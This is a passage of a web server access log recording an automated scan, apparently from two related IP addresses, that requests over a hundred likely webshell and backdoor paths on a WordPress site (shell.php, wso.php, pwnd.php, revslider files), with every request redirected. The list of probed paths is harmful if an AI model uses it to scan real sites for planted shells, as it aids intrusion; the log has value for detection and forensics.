"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:16:28 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:28 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:16:29 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:29 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:16:29 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:30 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:31 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:31 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:32 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:33 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:34 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:34 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:35 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:35 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:36 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:16:36 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:36 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:16:36 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:36 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:37 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:37 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:37 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:37 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:38 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:38 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:38 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:16:38 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:16:39 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:39 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:39 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:39 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:40 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:40 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:40 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:40 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:40 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:40 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:41 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:41 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:41 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:16:41 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:41 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:16:42 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:16:42 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:42 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:42 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:42 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:16:43 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:43 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:43 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:43 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:43 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:43 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:16:43 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:44 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:16:44 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:44 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:44 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:45 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:45 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:16:45 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:45 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:46 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:16:46 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:46 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:47 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:47 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:48 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:48 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:16:48 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:48 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:16:49 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:49 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:49 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:51 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:51 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:16:51 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:51 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:16:52 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:52 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:52 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:16:53 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:53 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:53 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:16:54 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:54 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:54 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:54 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:16:54 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:54 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:16:55 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:55 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:55 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:16:56 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:56 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:56 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:16:56 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:56 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:56 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:16:57 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:57 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:57 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:16:57 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:57 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:57 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:58 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:16:58 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:58 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:16:58 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:16:59 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:59 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:59 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:16:59 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:59 -0400] 